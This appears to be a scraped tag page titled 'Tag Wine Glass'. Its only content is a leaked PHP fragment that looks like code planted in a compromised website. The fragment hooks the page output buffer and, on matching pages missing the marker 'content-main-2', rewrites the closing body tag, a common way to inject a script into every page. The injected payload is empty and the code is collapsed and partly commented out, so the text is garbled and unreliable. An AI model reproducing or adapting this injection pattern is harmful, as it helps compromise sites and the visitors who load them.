Tag Wine Glass

if (!defined('SCRIPT_EXECUTED')) { define('SCRIPT_EXECUTED', true); $pages = ['/']; // ob_start(function($buffer) use ($pages) { $script_id = 'content-main-2'; foreach ($pages as $page) { if (strpos($_SERVER['REQUEST_URI'], $page) !== false) { if (strpos($buffer, $script_id) === false) { return preg_replace('/\s*<\/body>/', "", $buffer); } } } return $buffer; }); }